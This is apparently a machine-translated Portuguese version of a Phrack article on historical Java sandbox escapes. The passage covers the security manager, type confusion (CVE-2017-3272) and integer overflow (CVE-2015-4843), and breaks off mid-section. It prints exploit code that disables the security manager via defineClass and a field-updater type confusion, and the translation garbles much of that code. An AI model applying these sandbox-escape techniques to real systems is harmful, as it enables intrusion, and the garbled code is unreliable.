fbpx

Phrack: Vinte anos escapando do Java Sandbox (Ieu Eauvidoum e ruído de disco)

Phrack: Vinte anos escapando do Java Sandbox (Ieu Eauvidoum e ruído de disco)

 

| = ———————————————— ———————– = |
| = ———— = [Vinte anos escapando do Java Sandbox] = ———— = |
| = ———————————————— ———————– = |
| = ———————— = [por Ieu Eauvidoum] = —————– ——- = |
| = ————————- = [e ruído do disco] = —————- ——— = |
| = ———————————————— ———————– = |

–[ Índice

1. Introdução
2. Antecedentes
2.1 – Uma breve história das explorações do Java Sandbox
2.2 – A plataforma Java
2.3 – O gerenciador de segurança
2.4 – O método doPrivileged
3 – Vulnerabilidades de corrupção de memória
3.1 – Confusão de tipos
3.1.1 – Antecedentes
3.1.2 – Exemplo: CVE-2017-3272
3.1.3 – Discussão
3.2 – Estouro de número inteiro
3.2.1 – Antecedentes
3.2.2 – Exemplo: CVE-2015-4843
3.2.3 – Discussão
4 – Vulnerabilidades no nível Java
4.1 – Deputado Confuso
4.1.1 – Antecedentes
4.1.2 – Exemplo: CVE-2012-4681
4.1.3 – Discussão
4.2 – Instância não inicializada
4.2.1 – Antecedentes
4.2.2 – Exemplo: CVE-2017-3289
4.2.3 – Discussão
4.3 – Cadeia de método confiável
4.3.1 – Antecedentes
4.3.2 – Exemplo: CVE-2010-0840
4.3.3 – Discussão
4.4 – Serialização
4.4.1 – Antecedentes
4.4.2 – Exemplo: CVE-2010-0094
4.4.3 – Discussão
5. Conclusão
6 – Referências
7 – Anexos

–[ 1. Introdução

A plataforma Java é amplamente implementada em bilhões de dispositivos, a partir de servidores
e estações de trabalho de desktop para eletrônicos de consumo. Foi originalmente
projetado para implementar um modelo de segurança elaborado, o sandbox Java, que
permite a execução segura do código recuperado de dados potencialmente
máquinas remotas não confiáveis ​​sem colocar a máquina host em risco.
Concretamente, essa abordagem de sandbox é usada para garantir a execução de
aplicativos Java não confiáveis, como miniaplicativos Java no navegador da web.
Infelizmente, erros críticos de segurança – permitindo um desvio total do
sandbox – afetou todas as principais versões da plataforma Java desde
sua introdução. Apesar dos grandes esforços para corrigir e revisar os
mecanismos de segurança ao longo de duas décadas, segurança crítica
vulnerabilidades ainda estão sendo encontradas.

Neste trabalho, revisamos o passado e o presente da insegurança em Java. Nosso objetivo
é fornecer uma visão geral de como a segurança da plataforma Java falha, para que
pode aprender com os erros do passado. Todas as vulnerabilidades de segurança apresentadas
aqui já são conhecidos e corrigidos nas versões atuais do Java Runtime,
nós os discutimos apenas para fins educacionais. Este estudo de caso foi
feitos na esperança de obter informações que nos ajudem a projetar sistemas melhores
no futuro.

–[ 2. Antecedentes

—- [2.1 – Uma breve história das explorações do Java Sandbox

A primeira versão do Java foi lançada pela Sun Microsystems em 1995 [2]. 1
ano depois, pesquisadores da Universidade de Princeton identificaram várias falhas
permitindo que um analista ignore o sandbox [3]. Os autores identificaram
pontos fracos na linguagem, bytecode e inicialização de objeto, para nomear um
poucos, alguns deles ainda presentes em Java no momento da redação. É o
primeira vez que um ataque de falsificação de classe contra o tempo de execução Java foi
detalhado. Alguns anos depois, em 2002, The Last Stage of Delirium (LSD)
grupo de pesquisa apresentou suas descobertas sobre a segurança do Java virtual
máquina [29]. Eles detalhavam as vulnerabilidades que afetavam, entre outros, os
verificador de bytecode e carregadores de classes levando a confusão ou classe de tipo
ataques de falsificação. Em 2010, Koivu foi o primeiro a mostrar publicamente que
ataques de cadeia de método confiáveis ​​funcionam contra Java, explicando como explorar
a vulnerabilidade CVE-2010-0840 que ele encontrou [32]. Em 2011, Drake descreveu
como explorar vulnerabilidades de corrupção de memória em Java [4]. Ele explica
como explorar CVE-2009-3869 e CVE-2010-3552, estouro de buffer de duas pilhas
vulnerabilidades. Em 2012, Guillardoy [5], descreveu CVE-2012-4681, dois
vulnerabilidades que permitem ignorar a sandbox. A primeira vulnerabilidade
dá acesso a classes restritas e o segundo permite modificar dados privados
Campos. Também em 2012, Oh descreveu como explorar a vulnerabilidade de
CVE-2012-0507 para executar um ataque de confusão de tipo para ignorar a sandbox Java
[6] Em 2013, Gorenc e Spelman realizaram um estudo em larga escala de 120 Java
vulnerabilidades e concluem que a reflexão insegura é a mais comum
vulnerabilidade em Java, mas esse tipo de confusão é o mais comum explorado
vulnerabilidade [8]. Ainda em 2013, Lee e Nie identificaram vários
vulnerabilidades, incluindo uma vulnerabilidade em um método nativo, permitindo que o
desvio da caixa de areia [9]. Novamente em 2013, Kaiser descreveu, entre outros,
CVE-2013-1438, uma vulnerabilidade de cadeia de método confiável encontrada por James Forshaw
e CVE-2012-5088, uma vulnerabilidade de reflexão do Java encontrada pelo Security
Explorações. Entre 2012 e 2013, pesquisadores de segurança da Security
As explorações descobriram mais de 20 vulnerabilidades Java [7]. Começando em
2014, os desenvolvedores dos principais navegadores da web, como Chrome ou Firefox, decidiram
desativar a NAPI por padrão (portanto, nenhum código Java pode ser executado por padrão)
[11] [12] Como a superfície de ataque do Java está sendo reduzida, parece que menos
está sendo realizada uma pesquisa sobre o desvio de sandbox Java. No entanto, explorações
ignorar a caixa de areia ainda aparece de vez em quando. Por exemplo, em 2018,
Lee descreve como explorar o CVE-2018-2826, uma vulnerabilidade de confusão de tipo
encontrado por XOR19 [18].

—- [2.2 – A plataforma Java

A plataforma Java pode ser dividida em dois componentes abstratos: o Java
JVM (Virtual Machine) e a Java Class Library (JCL).

A JVM é o núcleo da plataforma. É implementado em código nativo e
fornece toda a funcionalidade básica necessária para a execução do programa, como
como um analisador de bytecode, compilador JIT, coletor de lixo e assim por diante. Devido a
o fato de ser implementado nativamente, também está sujeito aos mesmos
ataques como qualquer outro binário nativo, incluindo corrupção de memória
vulnerabilidades como estouros de buffer [1], por exemplo.

A JCL é a biblioteca padrão que acompanha a JVM. isto
compreende centenas de classes de sistema, implementadas principalmente em Java, com
porções menores sendo implementadas nativamente. Como todas as classes do sistema são
confiável, eles estão associados a todos os privilégios por padrão. Estes
privilégios dão a eles acesso total a qualquer tipo de funcionalidade (sistema de arquivos
leitura / gravação, acesso total à rede etc.) e, portanto, acesso total ao
máquina host. Conseqüentemente, qualquer bug de segurança em uma classe de sistema pode
potencialmente ser usado por analistas para sair da caixa de areia.

O conteúdo principal deste artigo é assim separado em duas seções maiores –
um lidando com vulnerabilidades de corrupção de memória e o outro
focando em vulnerabilidades no nível Java.

—- [2.3 – O gerenciador de segurança

No código da JCL, a sandbox é implementada com autorização
cheques, a maioria deles sendo verificações de permissão. Por exemplo, antes de qualquer
acesso ao sistema de arquivos, o código na JCL verifica se o chamador possui o
permissão correta para acessar o sistema de arquivos. Abaixo está um exemplo verificando o
permissão de leitura em um arquivo na classe _java.io.FileInputStream_. o
O construtor verifica se o chamador tem permissão de leitura para ler o
arquivo especificado na linha 5.

————————————————– ————————-
1: public FileInputStream (file file) lança FileNotFoundException {
2: Nome da sequência = (arquivo! = Nulo? Arquivo.getPath (): nulo);
3: SecurityManager security = System.getSecurityManager ();
4: if (segurança! = Nula) {
5: security.checkRead (nome);
6:}
7: if (nome == nulo) {
8: lança novo NullPointerException ();
9:}
10: if (file.isInvalid ()) {
11: lança novo FileNotFoundException (“caminho de arquivo inválido”);
12:}
13: fd = novo FileDescriptor ();
14: fd.incrementAndGetUseCount ();
15: this.path = nome;
16: aberto (nome);
17:}
————————————————– ————————-

Observe que, por razões de desempenho, as autorizações são verificadas apenas se um
O gerenciador de segurança foi definido (linhas 3-4). Um ataque típico para escapar do
Assim, o sandbox Java visa definir o gerenciador de segurança como nulo. este
desativa efetivamente todas as verificações de autorização. Sem gerenciador de segurança
definido, o analista pode executar qualquer código como se tivesse todas as autorizações.

No entanto, as autorizações são verificadas apenas no nível Java. Código nativo
executa com todas as autorizações. Embora possa ser possível diretamente
executar o código nativo controlado pelo analista arbitrário ao explorar a memória
vulnerabilidades de corrupção, em todos os exemplos deste artigo, focamos
desativando o gerenciador de segurança para poder executar código Java arbitrário
com todas as permissões.

—- [2.4 – O método doPrivileged

Quando uma permissão “P” é verificada, a JVM verifica se todos os elementos do
pilha de chamadas tem permissão “P”. Se um elemento não tiver “P”, uma segurança
exceção é lançada. Essa abordagem funciona bem na maioria das vezes. Contudo,
algum método m1 () na JCL que não requer permissão para ser
chamado pode precisar chamar outro método m2 () na JCL, que por sua vez
requer uma permissão “P2”. Com a abordagem acima, se o método main () em um
classe de usuário sem permissão chama m1 (), uma exceção de segurança é lançada por
JVM, devido à chamada de acompanhamento para m2 () em m1 (). De fato, durante o
pilha de chamadas, m1 () e m2 () têm a permissão necessária, porque
pertencem a classes confiáveis ​​na JCL, mas main () não possui o
permissão.

A solução é agrupar a chamada em m1 () para m2 () dentro de um doPrivileged ()
ligar. Assim, quando “P2” está marcado, a caminhada na pilha para no método
chamando doPrivileged (), aqui m1 (). Como m1 () é um método na JCL, ele
tem todas as permissões. Assim, a verificação é bem-sucedida e a caminhada na pilha é interrompida.

Um exemplo do mundo real é o método unaligned () em _java.nio.Bits_. Trata
com fluxos de rede e precisa conhecer a arquitetura do processador.
Obter essas informações, no entanto, requer a permissão “get_property”
que o código do usuário pode não ter. Chamando desalinhado () de um não confiável
portanto, a classe falharia nesse caso devido à verificação de permissão. Então, o
código em unaligned () que recupera informações sobre o processador
arquitetura é agrupada em uma chamada doPrivileged, conforme ilustrado abaixo (linhas
4-5):

————————————————– ————————-
1: boolean estático não alinhado () {
2: if (unalignedKnown)
3: retorno desalinhado;
4: String arch = AccessController.doPrivileged (
5: novo sun.security.action.GetPropertyAction (“os.arch”));
6: desalinhado = arch.equals (“i386”) || arch.equals (“x86”)
7: || arch.equals (“amd64”) || arch.equals (“x86_64”);
8: unalignedKnown = true;
9: retorno desalinhado;
10:}
————————————————– ————————-

Quando a permissão “get_property” está marcada, a caminhada da pilha verifica
métodos até Bits.unaligned () e, em seguida, para.

– [3 – Vulnerabilidades de corrupção de memória

—- [3.1 – Confusão de tipos

—— [3.1.1 – Histórico

A primeira vulnerabilidade de corrupção de memória que descrevemos é um tipo
vulnerabilidade à confusão [13]. Inúmeras explorações de Java dependem de um tipo
vulnerabilidade de confusão para escapar da caixa de areia [16] [17] e, mais recentemente
[18] Em poucas palavras, quando há uma confusão de tipo, a VM acredita que um
objeto é do tipo _A_ enquanto na realidade o objeto é do tipo _B_. Como pode
isso pode ser usado para desativar o gerenciador de segurança?

A resposta é que uma vulnerabilidade de confusão de tipo pode ser usada para acessar
métodos que estariam fora do alcance de um analista sem
permissão. O método típico que um analista visa é o defineClass ()
método da classe _ClassLoader_. Por quê? Bem, este método permite definir
uma classe personalizada (potencialmente controlada por analistas) com todas as permissões.
O analista criaria e executaria sua própria classe recém-definida
que contém código para desativar o gerenciador de segurança para ignorar todos
verificações de autorização.

O método defineClass () é ‘protected’ e, portanto, só pode ser chamado de
métodos na classe _ClassLoader_ ou uma subclasse de _ClassLoader_. Desde o
analista não pode modificar métodos em _ClassLoader_, sua única opção é
subclasse _ClassLoader_ para poder chamar defineClass (). Instanciando um
subclasse de _ClassLoader_ diretamente do código sem permissão,
No entanto, ative uma exceção de segurança porque o construtor de
_ClassLoader_ verifica a permissão “Create_ClassLoader”. O truque é para
o analista para definir uma classe que estende _ClassLoader_, como _Help_ class
abaixo e adicione um método estático com um objeto do tipo _Help_ como parâmetro.
O analista recupera uma instância _ClassLoader_ existente do diretório
ambiente e usa confusão de tipo para “convertê-lo” em _Help_. Com isso
abordagem, a JVM considera que h do método doWork () (linha 4 abaixo) é um
subclasse de _ClassLoader_ (enquanto seu tipo real é _ClassLoader_) e, portanto,
o método protegido defineClass () fica disponível para o analista (um
método protegido em Java é acessível a partir de uma subclasse).

————————————————– ————————-
1: a ajuda da classe pública estende os implementos do ClassLoader
2: serializável {
3:
4: public static void doWork (Help h) lança Throwable {
5:
6: byte [] buffer = BypassExploit.getDefaultHelper ();
7: URL URL = novo URL (“arquivo: ///”);
8: certificado [] certs = novo certificado [0];
9: Permissões perm = new Permissions ();
10: perm.add (new AllPermission ());
11: ProtectionDomain protectionDomain = new ProtectionDomain (
12: novo CodeSource (url, certs), perm);
13:
14: Classe cls = h.defineClass (“DefaultHelper”, buffer, 0,
15: buffer.length, protectionDomain);
16: cls.newInstance ();
17:
18:}
19:}
————————————————– ————————-

Mais precisamente, usando uma vulnerabilidade de confusão de tipo, o analista pode
desative a sandbox em três etapas. Em primeiro lugar, o analista pode recuperar o
carregador de classes de aplicativos da seguinte maneira (esta etapa não requer um
permissão):

————————————————– ————————-
Objeto cl = Help.class.getClassLoader ();
————————————————– ————————-

Em segundo lugar, usando a vulnerabilidade de confusão de tipo, ele pode fazer a VM pensar
esse objeto cl é do tipo _Help_.

————————————————– ————————-
Ajuda h = use_type_confusion_to_convert_to_Help (cl);
————————————————– ————————-

Em terceiro lugar, ele fornece h como argumento para o método estático doWork () em
_Help_, que desativa o gerenciador de segurança.

O método doWork () primeiro carrega, mas ainda não executa, o bytecode de
o analista controlava a classe _DefaultHelper_ no buffer (linha 6 no
listada acima). Como mostrado abaixo, esta classe desativa o gerenciador de segurança
dentro de um bloco doPrivileged () em seu construtor. O bloco doPrivileged ()
é necessário para impedir que toda a pilha de chamadas seja verificada
permissões, porque main () faz parte da sequência de chamadas, que não possui
permissões.

————————————————– ————————-
1: classe pública DefaultHelper implementa PrivilegedExceptionAction <Void> {
2: public DefaultHelper () {
3: AccessController.doPrivileged (this);
4:}
5:
6: public Void run () lança a exceção {
7: System.setSecurityManager (nulo);
8:}
9:}
————————————————– ————————-

Após carregar o bytecode, ele cria um domínio de proteção com todos os
permissões (linhas 7-12). Por fim, chama defineClass () em h (linha
14-15). Essa chamada funciona porque a VM pensa que h é do tipo _Help_. No
realidade, h é do tipo _ClassLoader_. No entanto, como o método defineClass () é
definido na classe _ClassLoader_ como um método protegido, a chamada é
bem sucedido. Nesse ponto, o analista carregou sua própria classe com todos os
privilégios. O último passo (linha 16) é instanciar a classe para disparar
a chamada para o método run () que desativa o gerenciador de segurança. Quando o
Se o gerenciador de segurança estiver desativado, o analista poderá executar qualquer código Java como se
tinha todas as permissões.

—— [3.1.2 – Exemplo: CVE-2017-3272

A seção anterior explica o que é uma vulnerabilidade de confusão de tipo e
como um analista pode explorá-lo para desativar o gerenciador de segurança. Esta seção
fornece um exemplo, explicando como o CVE-2017-3272 pode ser usado para implementar
tal ataque.

O bugzilla da Redhat [14] fornece os seguintes detalhes técnicos sobre
CVE-2017-3272:

“Foi descoberto que os atualizadores de campo atômico no
_java.util.concurrent.atomic_ package no componente Libraries do OpenJDK
não restringiu adequadamente o acesso aos membros do campo protegido. Um não confiável
O aplicativo ou applet Java pode usar essa falha para ignorar a sandbox Java
restrições “.

Isso indica que o código vulnerável está no
_java.util.concurrent.atomic.package_ e isso tem algo a ver com
acessando um campo protegido. A página também possui links para o patch do OpenJDK
“8165344: Atualizar suporte a simultaneidade”. Este patch modifica o
_AtomicIntegerFieldUpdater_, _AtomicLongFieldUpdater_ e
_AtomicReferenceFieldUpdater_ classes. Para que essas classes são usadas?

Para lidar com modificações simultâneas de campos, o Java fornece _AtomicLong_,
_AtomicInt_ e _AtomicBoolean_, etc … Por exemplo, para criar
dez milhões de campos _long_ nos quais modificações simultâneas podem ser
realizado, dez milhões de objetos _AtomicLong_ precisam ser instanciados. Como um
instância única de _AtomicLong_ leva 24 bytes + 4 bytes para a referência
para a instância = 28 bytes [15], dez milhões de instâncias de _AtomicLong_
representam 267 Mib.

Em comparação, usando as classes _AtomicLongFieldUpdater_, seria necessário
apenas 10.000.000 * 8 = 76 MiB. De fato, apenas os longos campos ocupam espaço.
Além disso, como todos os métodos nas classes _Atomic * FieldUpdater_ são estáticos,
apenas uma única instância do atualizador é criada. Outro benefício do uso
_Atomic * FieldUpdater_ classes é que o coletor de lixo não terá
para acompanhar os dez milhões de objetos _AtomicLong_. No entanto, para poder
Para fazer isso, o atualizador usa funcionalidades inseguras do Java para recuperar o
endereço de memória do campo de destino por meio da classe _sun.misc.Unsafe_.

Como criar uma instância de um _AtomicReferenceFieldUpdater_ é ilustrado
abaixo. O método newUpdater () deve ser chamado com três parâmetros: tclass,
o tipo da classe que contém o campo, vclass o tipo do campo
e fieldName, o nome do campo.

————————————————– ————————-
1: estático público <U, W> AtomicReferenceFieldUpdater <U, W> newUpdater (
2: Classe <U> tclass,
3: Classe <W> vclass,
4: String fieldName) {
5: retornar novo AtomicReferenceFieldUpdaterImpl <U, W>
6: (tclass, vclass, fieldName, Reflection.getCallerClass ());
7:}
————————————————– ————————-

O método newUpdater () chama o construtor de
_AtomicReferenceFieldUpdaterImpl_, que faz o trabalho real.

————————————————– ————————-
1: AtomicReferenceFieldUpdaterImpl (classe final <T> tclass,
2: classe final <V> vclass,
3: string final fieldName,
4: chamador final da classe <?>) {
5: campo final do campo;
6: Classe final <?> FieldClass;
7: modificadores finais int;
8: tente {
9: campo = AccessController.doPrivileged (
10: new PrivilegedExceptionAction <Field> () {
11: public Field run () lança NoSuchFieldException {
12: retorna tclass.getDeclaredField (fieldName);
13:}
14:});
15: modificadores = field.getModifiers ();
16: sun.reflect.misc.ReflectUtil.ensureMemberAccess (
17: chamador, tclass, nulo, modificadores);
18: ClassLoader cl = tclass.getClassLoader ();
19: ClassLoader ccl = caller.getClassLoader ();
20: if ((ccl! = Null) && (ccl! = Cl) &&
21: ((cl == null) ||! IsAncestor (cl, ccl))) {
22: sun.reflect.misc.ReflectUtil.checkPackageAccess (tclass);
23:}
24: fieldClass = field.getType ();
25:} catch (PrivilegedActionException pae) {
26: lança nova RuntimeException (pae.getException ());
27:} catch (Exceção ex) {
28: lança nova RuntimeException (ex);
29:}
30:
31: if (vclass! = FieldClass)
32: lança novo ClassCastException ();
33:
34: if (! Modifier.isVolatile (modificadores))
35: throw new IllegalArgumentException (“Deve ser do tipo volátil”);
36:
37: this.cclass = (Modifier.isProtected (modifiers) &&
38: chamador! = Tclass)? chamador: nulo;
39: this.tclass = tclass;
40: if (vclass == Object.class)
41: this.vclass = null;
42: else
43: this.vclass = vclass;
44: offset = unsafe.objectFieldOffset (campo);
45:}
————————————————– ————————-

————————————————– ————————-

O construtor recupera primeiro, através da reflexão, o campo para atualizar
(linha 12). Observe que a chamada de reflexão funcionará mesmo se o código não
não tem nenhuma permissão. É o caso porque a chamada é realizada
dentro de um bloco doPrivileged () que diz à JVM para permitir que certos
operações, mesmo que o chamador original tenha permissão (consulte
Seção 2.4). Em seguida, se o campo tiver o atributo protegido e o chamador
classe não é igual à classe tclass, o chamador é armazenado em cclass
(linhas 37-38). Observe que o chamador é definido no método newUpdater () através da chamada
para Reflection.getCallerClass (). Essas linhas (37-38) são estranhas, pois a classe
O chamador pode não ter nada a ver com a classe tclass. Veremos abaixo que
essas linhas são onde está a vulnerabilidade. Em seguida, o construtor armazena
tclass, vclass e usa a referência não segura da classe _Unsafe_ para obter o
deslocamento de campo (linhas 39-44). Esta é uma bandeira vermelha, pois a classe _Unsafe_ é
muito perigoso. Pode ser usado para manipular diretamente a memória que deve
não é possível em um programa Java. Se estiver direta ou indiretamente no
Nas mãos do analista, ele poderia ser usado para ignorar a sandbox Java.

Depois que o analista tiver uma referência a um _AtomicReferenceFieldUpdater_
objeto, ele pode chamar o método set () para atualizar o campo como
ilustrado abaixo:

————————————————– ————————-
1: conjunto final de anulação pública (T obj, V newValue) {
2: accessCheck (obj);
3: valueCheck (newValue);
4: U.putObjectVolatile (obj, offset, newValue);
5:}
6:
7: access Void final privado privadoCheck (T obj) {
8: if (! Cclass.isInstance (obj))
9: throwAccessCheckException (obj);
10:}
11:
12: valor final anulado privadoCheck (V v) {
13: if (v! = Null &&! (Vclass.isInstance (v)))
14: throwCCE ();
15:}
————————————————– ————————-

O primeiro parâmetro de set (), obj, é a instância na qual a referência
campo deve ser atualizado. O segundo parâmetro, newValue, é o novo valor
do campo de referência. Primeiro, set () verifica se obj é uma instância do tipo
cclass (linhas 2, 7-10). Em seguida, set () verifica se newValue é nulo ou um
instância de vclass, representando o tipo de campo (linhas 3, 12-15). Eu cai
as verificações passam, a classe _Unsafe_ é usada para colocar o novo valor no
deslocamento à direita no objeto obj (linha 4).

O patch para a vulnerabilidade é ilustrado abaixo.

————————————————– ————————-
– this.cclass = (Modifier.isProtected (modificadores))
-? chamador: tclass;
+ this.cclass = (Modifier.isProtected (modificadores)
+ && tclass.isAssignableFrom (chamador)
+ &&! isSamePackage (tclass, chamador))
+? chamador: tclass;
————————————————– ————————-

Como observamos anteriormente, o código original não está executando verificações suficientes
o objeto chamador. Na versão corrigida, o código agora verifica essa classe
é da mesma classe que uma superclasse ou uma super interface do chamador. Como
explorar essa vulnerabilidade se torna óbvio e é ilustrado abaixo.

————————————————– ————————-
1: classe Dummy {
2: volátil protegido A f;
3:}
4:
5: classe MyClass {
6: Bg volátil protegido;
7:
8: main () {
9: m = novo MyClass ();
10: u = newUpdater (Dummy.class, A.class, “f”);
11: u.set (m, novo A ());
12: println (m.g.getClass ());
13:}
14:}
————————————————– ————————-

Primeiro, a classe _Dummy_ com o campo f do tipo _A_ é usada para chamar
newUpdater () (linhas 1-3, 9, 10). Então, o método set () é chamado com a classe
_MyClass_ e novo valor newVal para o campo f do tipo _A_ no atualizador
instância (linha 11). Em vez de ter o campo f do tipo _A_, _MyClass_ possui
campo g do tipo _B_. Portanto, o tipo real de g após a chamada para set () é
_A_ mas a máquina virtual assume o tipo _B_. A chamada println () será impressa
“classe A” em vez de “classe B” (linha 12). No entanto, acessar esta instância
da classe _A_ é feita através de métodos e campos da classe _B_.

—— [3.1.3 – Discussão

Como mencionado acima, as classes _Atomic * FieldUpdater_ já foram
introduzido no Java 1.5. No entanto, a vulnerabilidade foi detectada apenas em
release 1.8_112 e corrigido no próximo release 1.8_121. Por dicotomia
Nas versões 1.6_ a 1.8_112, descobrimos que a vulnerabilidade
aparece pela primeira vez no release 1.8_92. Testes adicionais revelam que todas as versões
no meio também são vulneráveis: 1.8_101, 1.8_102 e 1.8_111. Temos também
testou o PoC contra o primeiro e o último release do Java 1.5: eles são
não vulnerável.

Um diff de _AtomicReferenceFieldUpdater_ entre as versões 1.8_91 (não
vulnerável) e 1.8_92 (vulnerável) revela que uma refatoração de código
A operação falhou ao preservar a semântica de todas as verificações executadas no
os valores de entrada. O código não vulnerável do release 1.8_91 é ilustrado
abaixo.

————————————————– ————————-
1: private void garantirProtectedAccess (T obj) {
2: if (cclass.isInstance (obj)) {
3: retorno;
4:}
5: lançar nova RuntimeException (…
6:}
7:
8: void updateCheck (T obj, V update) {
9: if (! Tclass.isInstance (obj) ||
10: (atualização! = Null && vclass! = Null
11: &&! Vclass.isInstance (atualização)))
12: lança novo ClassCastException ();
13: if (cclass! = Null)
14: assegurar o acesso protegido (obj);
15:}
16:
17: conjunto de vozes públicas (T obj, V newValue) {
18: if (obj == null ||
19: obj.getClass ()! = Tclass ||
20: cclass! = Null ||
21: (newValue! = Null
22: && vclass! = Null
23: && vclass! = NewValue.getClass ()))
24: updateCheck (obj, newValue);
25: unsafe.putObjectVolatile (obj, offset, newValue);
26:}
————————————————– ————————-

Na versão não vulnerável, se o tipo de obj for diferente de tclass, o
tipo da classe que contém o campo a ser atualizado, há potencialmente dois
condições a passar. A primeira é que obj pode ser convertido para tclass (linhas 9,
12) O segundo, verificado apenas se o campo estiver protegido, é que obj pode ser
converter para cclass (linhas 14, 1-6).

Na versão vulnerável, no entanto, a condição é simplesmente que obj pode ser
moldar para cclass. A condição que obj pode ser convertida para tclass é perdida.
A falta de uma única condição é suficiente para criar uma vulnerabilidade de segurança
que, se explorado corretamente, resulta em um desvio total da sandbox Java.

Os ataques de confusão de tipo podem ser evitados? Em Java, por razões de desempenho,
o tipo _T_ de um objeto o não é verificado toda vez que o objeto o é usado.
Verificar o tipo a cada uso do objeto evitaria confusão de tipo
ataques, mas também induziria uma sobrecarga de tempo de execução.

—- [3.2 – Estouro de número inteiro

—— [3.2.1 – Histórico

Um estouro inteiro acontece quando o resultado de uma operação aritmética é
grande demais para caber no número de bits da variável. Em Java, números inteiros usam
32 bits para representar números assinados. Valores positivos têm valores de
0x00000000 (0) a 0x7FFFFFFF (2 ^ 31 – 1). Valores negativos têm valores de
0x80000000 (-2 ^ 31) a 0xFFFFFFFF (-1). Se o valor 0x7FFFFFFF (2 ^ 31 – 1) for
incrementado, o resultado não representa 2 ^ 31, mas (-2 ^ 31). Como isso pode
ser usado para desativar o gerenciador de segurança?

Na próxima seção, analisamos o excesso de número inteiro de CVE-2015-4843 [20].
O número inteiro é usado como um índice em uma matriz. Usando o excesso, podemos
ler / escrever valores fora da matriz. Essas primitivas de leitura / gravação são usadas
para conseguir um ataque de confusão de tipo. O leitor já sabe pelo
descrição de CVE-2017-3272 acima, que o analista pode confiar em tal
ataque para desativar o gerenciador de segurança.

—— [3.2.2 – Exemplo: CVE-2015-4843

Uma breve descrição desta vulnerabilidade está disponível no Bugzilla da Redhat
[19] Mostra que vários estouros de número inteiro foram encontrados em Buffers
classes do pacote java.nio e que a vulnerabilidade pode ser usada
para executar código arbitrário.

O patch de vulnerabilidade realmente corrige o arquivo
java / nio / Direct-X-Buffer.java.template usado para gerar classes do formulário
DirectXBufferY.java onde X pode ser “Byte”, “Char”, “Double”, “Int”,
“Longo”, “Flutuante” ou “Curto” e Y podem ser “S”, “U”, “RS” ou “RU”. “S” significa
que a matriz contém números assinados, números “U” não assinados, “RS” assinados
números no modo somente leitura e números não assinados “RU” no modo somente leitura. Cada
das classes geradas _C_ agrupa uma matriz de um determinado tipo que pode ser
manipulado através de métodos da classe _C_. Por exemplo, DirectIntBufferS.java
agrupa uma matriz de números inteiros assinados de 32 bits e define os métodos get () e
set () para, respectivamente, copiar elementos de uma matriz para a matriz interna
da classe DirectIntBufferS ou para copiar elementos da matriz interna
para uma matriz fora da classe. Abaixo está um trecho da vulnerabilidade
patch:

————————————————– ————————-
14: public $ Type $ Buffer colocado ($ type $ [] src, int offset, int length) {
15: #if [rw]
16: – if ((comprimento << $ LG_BYTES_PER_VALUE $)
> Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
17: + if (((long) length << $ LG_BYTES_PER_VALUE $))
> Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
18: checkBounds (offset, length, src.length);
19: int pos = posição ();
20: int lim = limite ();
21: @@ -364,12 +364,16 @@
22:
23: #se [! Byte]
24: if (order ()! = ByteOrder.nativeOrder ())
25: – Bits.copyFrom $ Memtype $ Array (src,
deslocamento << $ LG_BYTES_PER_VALUE $,
26: – ix (pos), comprimento << $ LG_BYTES_PER_VALUE $);
27: + Bits.copyFrom $ Memtype $ Array (src,
28: + deslocamento (longo) << $ LG_BYTES_PER_VALUE $,
29: + ix (pos),
30: + comprimento (longo) << $ LG_BYTES_PER_VALUE $);
31: else
32: #end [! Byte]
33: – Bits.copyFromArray (src, arrayBaseOffset,
deslocamento << $ LG_BYTES_PER_VALUE $,
34: – ix (pos), comprimento << $ LG_BYTES_PER_VALUE $);
35: + Bits.copyFromArray (src, arrayBaseOffset,
36: + deslocamento (longo) << $ LG_BYTES_PER_VALUE $,
37: + ix (pos),
38: + comprimento (longo) << $ LG_BYTES_PER_VALUE $);
39: posição (pos + comprimento);
————————————————– ————————-

A correção (linhas 17, 28, 36 e 38) consiste em converter os números inteiros de 32 bits
inteiros de 64 bits antes de executar uma operação de deslocamento que, em 32 bits,
pode resultar em um estouro inteiro. A versão corrigida do put ()
método extraído de java.nio.DirectIntBufferS.java da atualização do Java 1.8
65 está abaixo:

————————————————– ————————-
354: Public IntBuffer put (int [] src, int offset, int length) {
355:
356: if (((long) length << 2)> Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
357: checkBounds (offset, length, src.length);
358: int pos = posição ();
359: int lim = limite ();
360: afirmar (pos <= lim);
361: int rem = (pos <= lim? Lim – pos: 0);
362: if (comprimento> rem)
363: lança novo BufferOverflowException ();
364:
365:
366: if (order ()! = ByteOrder.nativeOrder ())
367: Bits.copyFromIntArray (src,
368: deslocamento (longo) << 2,
369: ix (pos),
370: (comprimento) comprimento << 2);
371: else
372:
373: Bits.copyFromArray (src, arrayBaseOffset,
374: deslocamento (longo) << 2,
375: ix (pos),
376: comprimento (longo) << 2);
377: posição (pos + comprimento);
378:} mais {
379: super.put (src, deslocamento, comprimento);
380:}
381: retorne isso;
382:
383:
384:
385:}
————————————————– ————————-

Este método copia elementos de comprimento da matriz src do especificado
deslocamento para a matriz interna. Na linha 367, método Bits.copyFromIntArray ()
é chamado. Este método Java toma como parâmetro a referência à fonte
matriz, o deslocamento da matriz de origem em bytes, o índice no
matriz de destino em bytes e o número de bytes a serem copiados. Como os três
Os últimos parâmetros representam tamanhos e deslocamentos em bytes, eles devem ser
multiplicado por quatro (deslocado por 2 à esquerda). Isso é feito para deslocamento
(linha 374), pos (linha 375) e comprimento (linha 376). Observe que, para pos, o
A operação é feita dentro do método ix ().

Na versão vulnerável, as conversões para longas não estão presentes, o que torna o
código vulnerável a estouros de número inteiro.

Da mesma forma, o método get (), que copia elementos da matriz interna
para uma matriz externa, também é vulnerável. O método get () é muito semelhante
ao método put (), exceto que a chamada para copyFromIntArray () é substituída
por uma chamada para copyToIntArray ():

————————————————– ————————-
262: public IntBuffer get (int [] dst, int offset, int length) {
263:
[…]
275: Bits.copyToIntArray (ix (pos), dst,
276: deslocamento (longo) << 2,
277: (comprimento) comprimento << 2);
[…]
291:}
————————————————– ————————-

Como os métodos get () e put () são muito semelhantes, a seguir, apenas
descreva como explorar o excesso de número inteiro no método get (). o
abordagem é a mesma para o método put ().

Vamos dar uma olhada no método Bits.copyFromArray (), chamado no método get ()
método. Este método é de fato um método nativo:

————————————————– ————————-
803: void estático nativo copyToIntArray (srcAddr longo, objeto dst,
804: dstPos longo, comprimento longo);
————————————————– ————————-

